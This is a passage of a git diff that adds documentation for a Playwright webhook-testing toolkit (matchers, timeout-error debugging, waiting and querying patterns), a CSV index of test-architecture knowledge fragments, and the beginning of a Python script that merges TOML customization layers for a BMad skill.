+  .build();
+```
+
+**Business data filtering**:
+
+```typescript
+const highRatingTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; rating: number };
+}>('movie.created.high-rating')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${movieId} and data.rating >= 9`, (p) => p.data.id === movieId && p.data.rating >= 9)
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `predicate(data.id is 42 and data.rating >= 9)`
+
+## Combining Matchers
+
+All matchers use AND semantics — all must pass for the webhook to match:
+
+```typescript
+// Combined field + partial: both matchers must pass
+const updateTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.updated')
+  .matchField('event', 'movie.updated')
+  .matchPartial({ data: { id: movieId, name: nameUpdate.name } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+## Per-Template Timeout and Interval
+
+Override the registry defaults on a per-template basis:
+
+```typescript
+webhookTemplate('slow.pipeline.event')
+  .matchField('event', 'slow.pipeline.event')
+  .withTimeout(60_000) // 60s for slow delivery pipelines
+  .withInterval(2_000) // poll every 2s
+  .build();
+```
+
+## clone() for Base Template Variations
+
+> **Note**: `clone()` is available on the builder but is not used in the playwright-utils E2E suite. Use it when multiple tests share the same base template with slight field variations.
+
+```typescript
+const base = webhookTemplate<OrderPayload>('order').matchField('event', 'order.completed');
+
+const forOrderA = base.clone().matchField('data.orderId', 'A').build();
+const forOrderB = base.clone().matchField('data.orderId', 'B').build();
+```
+
+## Builder API Summary
+
+| Method                      | Description                                            |
+| --------------------------- | ------------------------------------------------------ |
+| `webhookTemplate<T>(name)`  | Create a new builder with the given template name      |
+| `.matchField(path, value)`  | Add dot-path exact-match matcher                       |
+| `.matchPartial(expected)`   | Add deep-subset matcher                                |
+| `.matchPredicate(desc, fn)` | Add arbitrary predicate matcher (description required) |
+| `.withTimeout(ms)`          | Override registry default timeout                      |
+| `.withInterval(ms)`         | Override registry default poll interval                |
+| `.clone()`                  | Copy current builder state for variation               |
+| `.build()`                  | Produce the immutable `WebhookTemplate<T>` object      |
+
+## Related Fragments
+
+- `webhook-waiting-querying.md` — waitFor, waitForCount, drain pattern
+- `webhook-timeout-error.md` — Reading matcherDetails in error output
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-testing-fundamentals.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-testing-fundamentals.md
new file mode 100644
index 0000000..dfedb2d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-testing-fundamentals.md
@@ -0,0 +1,42 @@
+# Webhook Testing Fundamentals
+
+## Principle
+
+Webhook delivery is eventually consistent — your application fires HTTP callbacks asynchronously after events occur. Tests must poll until the expected webhook arrives or time out. The `@seontechnologies/playwright-utils` webhook module provides deterministic polling, typed matchers, rich timeout diagnostics, and cleanup strategies safe under `fullyParallel: true`.
+
+## Rationale
+
+Webhook tests fail for four structural reasons:
+
+- **Eventually consistent**: Webhook delivery happens asynchronously — you cannot assert immediately after triggering an event
+- **Parallel journal pollution**: When multiple workers share the same mock server, a fast worker's teardown can delete records a slow worker is still polling
+- **Opaque timeouts**: A bare timeout tells you only that the webhook didn't arrive — it shows you nothing about what did arrive
+- **Cleanup drift**: Resetting the full journal in `afterEach` creates a race condition under `fullyParallel: true`
+
+The playwright-utils approach:
+
+- **Polling via `recurse`**: Uses Playwright's `expect.poll` under the hood — retries with configurable timeout and interval until a match is found
+- **Typed matchers**: `matchField`, `matchPartial`, `matchPredicate` — all must pass (AND semantics); matchers never throw on missing paths
+- **Rich timeout errors**: `WebhookTimeoutError` carries `totalReceived`, `receivedWebhooks`, and `matcherDetails` so you can see what arrived vs. what was expected
+- **Isolation via `startedAt`**: Each `WebhookRegistry` instance records its creation timestamp; polling only fetches webhooks received after that point, preventing leakage from prior tests
+- **Two cleanup strategies**: `full-reset` (resets entire journal) and `matched-only` (deletes only matched webhooks — parallel-safe when the provider supports delete-by-ID, e.g. WireMock)
+
+## When to Use Webhook Tests
+
+| Scenario                                                          | Use webhook tests         |
+| ----------------------------------------------------------------- | ------------------------- |
+| Application publishes events to external subscribers              | ✅ Required               |
+| Event-driven architecture with Kafka/event bus → webhook delivery | ✅ Required               |
+| Payment, order, or notification side effects via webhooks         | ✅ Required               |
+| Testing that a webhook was NOT delivered                          | ✅ Verify via timeout     |
+| Polling a status endpoint for eventual consistency                | ❌ Use `recurse` directly |
+| Frontend receiving push notifications (WebSocket)                 | ❌ Different mechanism    |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Fixture wiring and cleanup strategies
+- `webhook-template-matchers.md` — matchField, matchPartial, matchPredicate
+- `webhook-waiting-querying.md` — waitFor, waitForCount, getReceived, drain pattern
+- `webhook-timeout-error.md` — WebhookTimeoutError debugging
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider
+- `webhook-risk-guidance.md` — Risk-based guidance for TA and TD capabilities
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-timeout-error.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-timeout-error.md
new file mode 100644
index 0000000..34b7b73
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-timeout-error.md
@@ -0,0 +1,130 @@
+# WebhookTimeoutError and Debugging
+
+## Principle
+
+`WebhookTimeoutError` is thrown when `waitFor` or `waitForCount` does not find a matching webhook within the configured timeout. It carries a snapshot of received webhooks from the last polling cycle — truncated to the last 10 entries — so you can inspect what arrived vs. what was expected. The full count of all received webhooks is available in `totalReceived`.
+
+## Error Properties
+
+```typescript
+class WebhookTimeoutError extends Error {
+  readonly name = 'WebhookTimeoutError';
+  readonly templateName: string; // from webhookTemplate('...')
+  readonly timeoutMs: number; // the timeout that was exceeded
+  readonly totalReceived: number; // total webhooks seen in polling window
+  readonly receivedWebhooks: ReceivedWebhook[]; // last ≤10 received webhooks
+  readonly matcherDetails: string[]; // human-readable matcher summary
+
+  toJSON(): Record<string, unknown>; // serialize all fields for CI logs
+}
+```
+
+`receivedWebhooks` is capped at the last 10 entries. If more than 10 webhooks arrived, `totalReceived` shows the full count but `receivedWebhooks` contains only the most recent 10.
+
+## Reading the Error
+
+The error message format:
+
+```
+Webhook "movie.deleted" not received within 15000ms.
+3 webhook(s) were received but none matched.
+Matchers: field(event="movie.deleted"), field(data.id=42).
+```
+
+Use `matcherDetails` to confirm the matchers were configured correctly. Use `receivedWebhooks` to inspect actual payloads — compare field paths and values against what the matchers expect.
+
+## Validating the Error Shape in Tests
+
+```typescript
+import { WebhookTimeoutError, webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+const neverArrivingTemplate = webhookTemplate('never.arrives')
+  .matchField('event', 'event.that.never.happens')
+  .withTimeout(500)
+  .withInterval(100)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(neverArrivingTemplate)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.templateName).toBe('never.arrives');
+expect(error.timeoutMs).toBe(500);
+expect(error.toJSON()).toMatchObject({
+  name: 'WebhookTimeoutError',
+  templateName: 'never.arrives',
+  timeoutMs: 500,
+  totalReceived: expect.any(Number),
+  matcherDetails: ['field(event="event.that.never.happens")'],
+});
+```
+
+## Inspecting receivedWebhooks
+
+When a webhook arrives but doesn't match, `receivedWebhooks` shows you what actually came in:
+
+```typescript
+// Wait for create webhook first — puts it in the journal
+await webhookRegistry.waitFor(movieCreated(movieId));
+
+// Wait for delete webhook that will never arrive — no delete was called
+const undeliveredDelete = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.deleted.not.delivered')
+  .matchField('event', 'movie.deleted')
+  .matchField('data.id', movieId)
+  .withTimeout(2_000)
+  .withInterval(200)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(undeliveredDelete)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.totalReceived).toBeGreaterThanOrEqual(1);
+
+// The movie.created webhook that did arrive is visible in the error
+const createdWebhook = error.receivedWebhooks.find((w) => (w.body as { data: { id: number } }).data.id === movieId);
+expect(createdWebhook).toBeDefined();
+expect((createdWebhook!.body as { event: string }).event).toBe('movie.created');
+```
+
+## Common Failure Patterns
+
+| What you see                           | Likely cause                                         | Fix                                                               |
+| -------------------------------------- | ---------------------------------------------------- | ----------------------------------------------------------------- |
+| `totalReceived: 0`                     | Webhook not delivered; wrong URL or event not firing | Check application event publishing and webhook routing            |
+| `totalReceived > 0`, none match        | Webhooks arriving but matchers not matching          | Inspect `receivedWebhooks[0].body` — check field paths and values |
+| `matcherDetails` shows wrong path      | Template factory misconfigured                       | Print `error.toJSON()` and compare paths against actual payload   |
+| `totalReceived: 0` with `matched-only` | Another worker claimed and deleted the webhook first | Ensure template is scoped by entity ID                            |
+| Parse error in body                    | Webhook body is not valid JSON                       | Check `receivedWebhooks[n].parseError` and `rawBody`              |
+
+## matcherDetails Format per Matcher Type
+
+| Matcher                         | matcherDetails string |
+| ------------------------------- | --------------------- |
+| `matchField('event', 'x')`      | `field(event="x")`    |
+| `matchPartial({ a: 1 })`        | `partial({"a":1})`    |
+| `matchPredicate('my desc', fn)` | `predicate(my desc)`  |
+
+## Import
+
+```typescript
+import { WebhookTimeoutError } from '@seontechnologies/playwright-utils/webhook';
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — matcherDetails string format per matcher type
+- `webhook-waiting-querying.md` — waitFor and waitForCount throw this error on timeout
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-waiting-querying.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-waiting-querying.md
new file mode 100644
index 0000000..7474791
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/webhook-waiting-querying.md
@@ -0,0 +1,167 @@
+# Webhook Waiting and Querying Patterns
+
+## Principle
+
+`waitFor` and `waitForCount` poll until matching webhooks arrive; `getReceived` queries without waiting. Always drain preceding events before asserting on subsequent ones. Scope templates by entity ID to prevent parallel worker cross-contamination.
+
+## Pattern Examples
+
+### Example 1: waitFor — single webhook
+
+Poll until the first webhook matching the template arrives. Returns the typed `ReceivedWebhook<T>`.
+
+```typescript
+const webhook = await webhookRegistry.waitFor(movieCreated(movieId));
+
+expect(webhook.body).toMatchObject({
+  event: 'movie.created',
+  timestamp: expect.any(String),
+  data: {
+    id: movieId,
+    name: movie.name,
+    year: movie.year,
+    rating: movie.rating,
+  },
+});
+```
+
+### Example 2: The drain pattern — sequential events
+
+When testing a downstream event (e.g. deletion), always `waitFor` the preceding event first. Without the drain, the create webhook may remain in the journal and interfere with cleanup or subsequent polling.
+
+```typescript
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  await log.step('Drain the create webhook before testing the delete path');
+  await webhookRegistry.waitFor(movieCreated(movieId)); // drain — consume the create event
+
+  await deleteMovie(authToken, movieId);
+
+  await log.step('Wait for the delete webhook');
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+**Why drain?** If you skip the drain and go directly to `waitFor(movieDeleted)`, the create webhook is already in the journal. The delete webhook may arrive and be cleaned up by another test before your poll reaches it. Draining makes the event order explicit and removes the ambiguity.
+
+### Example 3: waitForCount — collect N webhooks concurrently
+
+Collect exactly N matching webhooks. Use `matchPredicate` with all IDs to prevent cross-worker contamination when running `fullyParallel: true`:
+
+```typescript
+await log.step('Create two movies concurrently');
+const [{ body: res1 }, { body: res2 }] = await Promise.all([
+  addMovie(authToken, generateMovieWithoutId()),
+  addMovie(authToken, generateMovieWithoutId()),
+]);
+
+const [id1, id2] = [res1.data.id, res2.data.id];
+
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+
+const webhooks = await webhookRegistry.waitForCount(batchTemplate, 2);
+
+expect(webhooks).toHaveLength(2);
+const receivedIds = webhooks.map((w) => w.body.data.id);
+expect(receivedIds).toContain(id1);
+expect(receivedIds).toContain(id2);
+expect(new Set(receivedIds).size).toBe(2); // guard against the same ID delivered twice
+```
+
+### Example 4: getReceived — query without waiting
+
+Query the journal without polling. Useful for asserting presence of webhooks after a `waitFor`, or for method/URL filtering.
+
+```typescript
+await webhookRegistry.waitFor(movieCreated(movieId)); // wait first
+
+const all = await webhookRegistry.getReceived();
+expect(all.length).toBeGreaterThanOrEqual(1);
+
+// Method filter — all sample-app webhooks are delivered via POST
+const postOnly = await webhookRegistry.getReceived({ method: 'POST' });
+expect(postOnly.every((w) => w.method === 'POST')).toBe(true);
+
+// URL pattern filter — match the webhooks endpoint path
+const byUrl = await webhookRegistry.getReceived({ urlPattern: '/webhooks' });
+expect(byUrl.every((w) => w.url.includes('/webhooks'))).toBe(true);
+```
+
+`getReceived` accepts `WebhookQueryFilter`:
+
+```typescript
+type WebhookQueryFilter = {
+  urlPattern?: string; // glob or regex string
+  method?: string; // HTTP method filter
+  since?: Date; // only return webhooks after this timestamp
+};
+```
+
+Note: `getReceived` is a direct passthrough to the provider — it does **not** automatically apply the `startedAt` filter. Only `waitFor` and `waitForCount` apply the since-filter internally during polling. If you need to scope a manual `getReceived` call to this test's time window, record your own timestamp before the action under test and pass `{ since: myTimestamp }` explicitly.
+
+## Parallel Worker Safety
+
+Always scope template factories to the entity's ID:
+
+```typescript
+// ✅ Scoped — only matches webhooks for this specific movie
+const movieCreated = (movieId: number) =>
+  webhookTemplate('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId) // scoped by ID
+    .build();
+
+// ❌ Unscoped — will match any movie.created from any parallel worker
+const movieCreatedUnscoped = webhookTemplate('movie.created').matchField('event', 'movie.created').build();
+```
+
+## Method Summary
+
+| Method                      | Returns                         | Description                                                                                       |
+| --------------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------- |
+| `waitFor(template)`         | `Promise<ReceivedWebhook<T>>`   | Poll until first match; throws `WebhookTimeoutError` on timeout                                   |
+| `waitForCount(template, n)` | `Promise<ReceivedWebhook<T>[]>` | Poll until N matches; throws `WebhookTimeoutError` on timeout                                     |
+| `getReceived(filter?)`      | `Promise<ReceivedWebhook[]>`    | Direct passthrough to provider — no automatic since-filter; pass `{ since }` explicitly if needed |
+| `resetJournal()`            | `Promise<void>`                 | Wipe the entire journal and clear matchedIds                                                      |
+| `cleanup()`                 | `Promise<void>`                 | Delete matched webhooks (`matched-only`) or reset journal (`full-reset`)                          |
+
+## Anti-Patterns
+
+**DON'T skip the drain for sequential events:**
+
+```typescript
+// Bad: direct jump to delete webhook — create webhook pollutes the journal
+await addMovie(authToken, movie);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+**DO drain preceding events:**
+
+```typescript
+// Good: drain create first, then wait for delete
+await webhookRegistry.waitFor(movieCreated(movieId)); // drain
+await deleteMovie(authToken, movieId);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — How to build templates
+- `webhook-timeout-error.md` — What to do when waitFor times out
+- `recurse.md` — The polling primitive used internally by the registry
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/tea-index.csv b/plugins/bmad/skills/bmad-testarch-test-review/resources/tea-index.csv
new file mode 100644
index 0000000..ebd3200
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/tea-index.csv
@@ -0,0 +1,50 @@
+id,name,description,tags,tier,fragment_file
+fixture-architecture,Fixture Architecture,"Composable fixture patterns (pure function → fixture → merge) and reuse rules","fixtures,architecture,playwright,cypress",core,knowledge/fixture-architecture.md
+network-first,Network-First Safeguards,"Intercept-before-navigate workflow, HAR capture, deterministic waits, edge mocking","network,stability,playwright,cypress,ui",core,knowledge/network-first.md
+data-factories,Data Factories and API Setup,"Factories with overrides, API seeding, cleanup discipline","data,factories,setup,api,backend,seeding",core,knowledge/data-factories.md
+component-tdd,Component TDD Loop,"Red→green→refactor workflow, provider isolation, accessibility assertions","component-testing,tdd,ui",extended,knowledge/component-tdd.md
+playwright-config,Playwright Config Guardrails,"Environment switching, timeout standards, artifact outputs","playwright,config,env",extended,knowledge/playwright-config.md
+ci-burn-in,CI and Burn-In Strategy,"Staged jobs, shard orchestration, burn-in loops, artifact policy","ci,automation,flakiness",extended,knowledge/ci-burn-in.md
+selective-testing,Selective Test Execution,"Tag/grep usage, spec filters, diff-based runs, promotion rules","risk-based,selection,strategy",extended,knowledge/selective-testing.md
+feature-flags,Feature Flag Governance,"Enum management, targeting helpers, cleanup, release checklists","feature-flags,governance,launchdarkly",specialized,knowledge/feature-flags.md
+contract-testing,Contract Testing Essentials,"Pact publishing, provider verification, resilience coverage","contract-testing,pact,api,backend,microservices,service-contract",specialized,knowledge/contract-testing.md
+email-auth,Email Authentication Testing,"Magic link extraction, state preservation, caching, negative flows","email-authentication,security,workflow",specialized,knowledge/email-auth.md
+error-handling,Error Handling Checks,"Scoped exception handling, retry validation, telemetry logging","resilience,error-handling,stability,api,backend",extended,knowledge/error-handling.md
+visual-debugging,Visual Debugging Toolkit,"Trace viewer usage, artifact expectations, accessibility integration","debugging,dx,tooling,ui",specialized,knowledge/visual-debugging.md
+risk-governance,Risk Governance,"Scoring matrix, category ownership, gate decision rules","risk,governance,gates",core,knowledge/risk-governance.md
+probability-impact,Probability and Impact Scale,"Shared definitions for scoring matrix and gate thresholds","risk,scoring,scale",core,knowledge/probability-impact.md
+test-quality,Test Quality Definition of Done,"Execution limits, isolation rules, green criteria","quality,definition-of-done,tests",core,knowledge/test-quality.md
+nfr-criteria,NFR Review Criteria,"Security, performance, reliability, maintainability status definitions","nfr,assessment,quality",extended,knowledge/nfr-criteria.md
+test-levels,Test Levels Framework,"Guidelines for choosing unit, integration, or end-to-end coverage","testing,levels,selection,api,backend,ui",core,knowledge/test-levels-framework.md
+test-priorities,Test Priorities Matrix,"P0–P3 criteria, coverage targets, execution ordering","testing,prioritization,risk",core,knowledge/test-priorities-matrix.md
+test-healing-patterns,Test Healing Patterns,"Common failure patterns and automated fixes","healing,debugging,patterns",core,knowledge/test-healing-patterns.md
+selector-resilience,Selector Resilience,"Robust selector strategies and debugging techniques","selectors,locators,debugging,ui",core,knowledge/selector-resilience.md
+timing-debugging,Timing Debugging,"Race condition identification and deterministic wait fixes","timing,async,debugging",extended,knowledge/timing-debugging.md
+overview,Playwright Utils Overview,"Installation, design principles, fixture patterns for API and UI testing","playwright-utils,fixtures,api,backend,ui",core,knowledge/overview.md
+api-request,API Request,"Typed HTTP client, schema validation, retry logic, operation-based overload for API and service testing","api,backend,service-testing,api-testing,playwright-utils,openapi,codegen,operation",core,knowledge/api-request.md
+network-recorder,Network Recorder,"HAR record/playback, CRUD detection for offline UI testing","network,playwright-utils,ui,har",extended,knowledge/network-recorder.md
+auth-session,Auth Session,"Token persistence, multi-user, API and browser authentication","auth,playwright-utils,api,backend,jwt,token",core,knowledge/auth-session.md
+intercept-network-call,Intercept Network Call,"Network spy/stub, JSON parsing for UI tests","network,playwright-utils,ui",extended,knowledge/intercept-network-call.md
+recurse,Recurse Polling,"Async polling for API responses, background jobs, eventual consistency","polling,playwright-utils,api,backend,async,eventual-consistency",extended,knowledge/recurse.md
+log,Log Utility,"Report logging, structured output for API and UI tests","logging,playwright-utils,api,ui",extended,knowledge/log.md
+file-utils,File Utilities,"CSV/XLSX/PDF/ZIP validation for API exports and UI downloads","files,playwright-utils,api,backend,ui",extended,knowledge/file-utils.md
+burn-in,Burn-in Runner,"Smart test selection, git diff for CI optimization","ci,playwright-utils",extended,knowledge/burn-in.md
+network-error-monitor,Network Error Monitor,"HTTP 4xx/5xx detection for UI tests","monitoring,playwright-utils,ui",extended,knowledge/network-error-monitor.md
+fixtures-composition,Fixtures Composition,"mergeTests composition patterns for combining utilities","fixtures,playwright-utils",extended,knowledge/fixtures-composition.md
+api-testing-patterns,API Testing Patterns,"Pure API test patterns without browser: service testing, microservices, GraphQL","api,backend,service-testing,api-testing,microservices,graphql,no-browser",specialized,knowledge/api-testing-patterns.md
+pactjs-utils-overview,Pact.js Utils Overview,"Installation, contract testing flows, utility table (createProviderState, toJsonMap, setJsonContent, setJsonBody)","pactjs-utils,contract-testing,pact,api,backend,microservices",specialized,knowledge/pactjs-utils-overview.md
+pactjs-utils-consumer-helpers,Pact.js Utils Consumer Helpers,"createProviderState, toJsonMap, setJsonContent, setJsonBody for consumer-side Pact helpers","pactjs-utils,consumer,contract-testing,pact,api",specialized,knowledge/pactjs-utils-consumer-helpers.md
+pactjs-utils-provider-verifier,Pact.js Utils Provider Verifier,"buildVerifierOptions, buildMessageVerifierOptions for provider verification","pactjs-utils,provider,contract-testing,pact,api,backend,ci",specialized,knowledge/pactjs-utils-provider-verifier.md
+pactjs-utils-request-filter,Pact.js Utils Request Filter,"createRequestFilter, noOpRequestFilter for auth injection","pactjs-utils,auth,contract-testing,pact",specialized,knowledge/pactjs-utils-request-filter.md
+pact-mcp,Pact MCP Server,"SmartBear MCP for PactFlow: generate tests, review, can-i-deploy, provider states","pact,mcp,pactflow,contract-testing,broker",specialized,knowledge/pact-mcp.md
+pact-consumer-framework-setup,Pact Consumer CDC Framework Setup,"Directory structure, vitest config, shell scripts, CI workflow, PactV4 patterns for consumer CDC","pactjs-utils,consumer,contract-testing,pact,ci,framework,setup,vitest,shell-scripts",specialized,knowledge/pact-consumer-framework-setup.md
+adr-quality-readiness-checklist,ADR Quality Readiness Checklist,"8-category 29-criteria framework for ADR testability and NFR assessment","nfr,testability,adr,quality,assessment,checklist",extended,knowledge/adr-quality-readiness-checklist.md
+playwright-cli,Playwright CLI,"Token-efficient CLI for AI coding agents: element refs, sessions, snapshots, trace analysis, debug=cli autonomous investigation","cli,browser,agent,automation,snapshot,trace,debug",core,knowledge/playwright-cli.md
+pact-consumer-di,Pact Consumer DI Pattern,"Dependency injection pattern for Pact consumer tests — call actual source code instead of raw fetch by injecting mock server URL via optional baseUrl in context type","contract-testing,pact,consumer,dependency-injection,api,backend,architecture",extended,knowledge/pact-consumer-di.md
+webhook-fundamentals,Webhook Testing Fundamentals,"Why webhook delivery is hard: async, parallel pollution, opaque timeouts, cleanup drift. playwright-utils approach with polling, typed matchers, rich errors, startedAt isolation","webhook,async,playwright-utils,event-driven,eventually-consistent",core,knowledge/webhook-testing-fundamentals.md
+webhook-setup,Webhook Module Setup,"Fixture wiring for WireMock/MockServer/Mockoon providers, matched-only vs full-reset cleanup strategy, fullyParallel race condition fix","webhook,fixtures,playwright-utils,wiremock,mockserver,mockoon,setup",core,knowledge/webhook-module-setup.md
+webhook-matchers,Webhook Template Matchers,"matchField (dot-path exact), matchPartial (deep subset), matchPredicate (arbitrary fn), AND semantics, template factories, clone, withTimeout, withInterval","webhook,matchers,playwright-utils,templates,patterns",core,knowledge/webhook-template-matchers.md
+webhook-waiting,Webhook Waiting and Querying,"waitFor, waitForCount, getReceived, drain pattern for sequential events, parallel worker safety via ID-scoped templates","webhook,async,playwright-utils,polling,patterns,eventually-consistent",core,knowledge/webhook-waiting-querying.md
+webhook-timeout-error,WebhookTimeoutError Debugging,"templateName, timeoutMs, totalReceived, receivedWebhooks, matcherDetails, toJSON — inspect what arrived vs what was expected","webhook,debugging,errors,playwright-utils",extended,knowledge/webhook-timeout-error.md
+webhook-providers,Webhook Provider Patterns,"WireMock (deleteById supported), MockServer (deleteById no-op), Mockoon (deleteById no-op, 100-entry limit), custom WebhookProvider interface","webhook,providers,playwright-utils,wiremock,mockserver,mockoon",extended,knowledge/webhook-providers.md
+webhook-risk,Webhook Testing Risk Guidance,"When webhook tests are required, P2×I3 default risk score, complete test checklist, failure patterns and mitigations, TA assessment checklist","webhook,risk,assessment,event-driven,async,playwright-utils,governance",core,knowledge/webhook-risk-guidance.md
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/scripts/resolve-customization.py b/plugins/bmad/skills/bmad-testarch-test-review/scripts/resolve-customization.py
new file mode 100755
index 0000000..d9994a5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/scripts/resolve-customization.py
@@ -0,0 +1,183 @@
+#!/usr/bin/env python3
+# /// script
+# requires-python = ">=3.11"
+# ///
+"""Resolve customization for a BMad skill using three-layer TOML merge.
+
+Reads customization from three layers (highest priority first):
+  1. {project-root}/_bmad/customizations/{name}.user.toml  (personal, gitignored)
+  2. {project-root}/_bmad/customizations/{name}.toml        (team/org, committed)
+  3. ./customize.toml                                       (skill defaults)
+
+Outputs merged JSON to stdout. Errors go to stderr.
+
+Usage:
+  python ./scripts/resolve-customization.py {skill-name}
+  python ./scripts/resolve-customization.py {skill-name} --key persona
+  python ./scripts/resolve-customization.py {skill-name} --key persona.displayName --key inject
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+import tomllib
+from pathlib import Path
+from typing import Any
+
+
+def find_project_root(start: Path) -> Path | None:
+    """Walk up from *start* looking for a directory containing ``_bmad/`` or ``.git``."""
+    current = start.resolve()
+    while True:
+        if (current / "_bmad").is_dir() or (current / ".git").exists():
+            return current
+        parent = current.parent
+        if parent == current:
+            return None
+        current = parent
+
+
+def load_toml(path: Path) -> dict[str, Any]:
+    """Return parsed TOML or empty dict if the file doesn't exist."""
+    if not path.is_file():
+        return {}
+    try:
+        with open(path, "rb") as f:
+            return tomllib.load(f)
+    except (tomllib.TOMLDecodeError, OSError) as exc:
+        print(f"warning: failed to parse {path}: {exc}", file=sys.stderr)
+        return {}
+
+
+# ---------------------------------------------------------------------------
+# Merge helpers
+# ---------------------------------------------------------------------------
+
+def _is_menu_array(value: Any) -> bool:
+    """True when *value* is a non-empty list where ALL items are dicts with a ``code`` key."""
+    return (
+        isinstance(value, list)
+        and len(value) > 0
+        and all(isinstance(item, dict) and "code" in item for item in value)
+    )
+
+
+def merge_menu(base: list[dict], override: list[dict]) -> list[dict]:
+    """Merge-by-code: matching codes replace; new codes append."""
+    result_by_code: dict[str, dict] = {item["code"]: dict(item) for item in base if "code" in item}
+    for item in override:
+        if "code" not in item:
+            print(f"warning: menu item missing 'code' key, skipping: {item}", file=sys.stderr)
+            continue
+        result_by_code[item["code"]] = dict(item)
+    return list(result_by_code.values())
+
+
+def deep_merge(base: dict[str, Any], override: dict[str, Any]) -> dict[str, Any]:
+    """Recursively merge *override* into *base*.
+
+    Rules:
+      - Tables (dicts): sparse override -- recurse, unmentioned keys kept.
+      - ``[[menu]]`` arrays (items with ``code`` key): merge-by-code.
+      - All other arrays: atomic replace.
+      - Scalars: override wins.
+    """
+    merged = dict(base)
+    for key, over_val in override.items():
+        base_val = merged.get(key)
+
+        if isinstance(over_val, dict) and isinstance(base_val, dict):
+            merged[key] = deep_merge(base_val, over_val)
+        elif _is_menu_array(over_val) and _is_menu_array(base_val):
+            merged[key] = merge_menu(base_val, over_val)  # type: ignore[arg-type]
+        else:
+            merged[key] = over_val
+
+    return merged
+
+
+# ---------------------------------------------------------------------------
+# Key extraction
+# ---------------------------------------------------------------------------
+
+def extract_key(data: dict[str, Any], dotted_key: str) -> Any:
+    """Retrieve a value by dotted path (e.g. ``persona.displayName``)."""
+    parts = dotted_key.split(".")
+    current: Any = data
+    for part in parts:
+        if isinstance(current, dict) and part in current:
+            current = current[part]
+        else:
+            return None
+    return current
+
+
+# ---------------------------------------------------------------------------
+# Main
+# ---------------------------------------------------------------------------
+
+def main() -> None:
+    parser = argparse.ArgumentParser(
+        description="Resolve BMad skill customization (three-layer TOML merge).",
+        epilog=(
+            "Resolution priority: user.toml > team.toml > skill defaults.\n"
+            "Output is JSON. Use --key to request specific fields (JIT resolution)."
+        ),
+    )
+    parser.add_argument(
+        "skill_name",
+        help="Skill identifier (e.g. bmad-agent-pm, bmad-product-brief)",
+    )
+    parser.add_argument(
+        "--key",
+        action="append",
+        dest="keys",
+        metavar="FIELD",
+        help="Dotted field path to resolve (repeatable). Omit for full dump.",
+    )
+    args = parser.parse_args()
+
+    # Locate the skill's own customize.toml (one level up from scripts/)
+    script_dir = Path(__file__).resolve().parent
+    skill_dir = script_dir.parent
+    defaults_path = skill_dir / "customize.toml"
+
+    # Locate project root for override files
+    project_root = find_project_root(Path.cwd())
+    if project_root is None:
+        # Try from the skill directory as fallback
+        project_root = find_project_root(skill_dir)
+
+    # Load three layers (lowest priority first, then merge upward)
+    defaults = load_toml(defaults_path)
+
+    team: dict[str, Any] = {}
+    user: dict[str, Any] = {}
+    if project_root is not None:
+        customizations_dir = project_root / "_bmad" / "customizations"
+        team = load_toml(customizations_dir / f"{args.skill_name}.toml")
+        user = load_toml(customizations_dir / f"{args.skill_name}.user.toml")
+
+    # Merge: defaults <- team <- user
+    merged = deep_merge(defaults, team)
+    merged = deep_merge(merged, user)
+
+    # Output
+    if args.keys:
+        result = {}
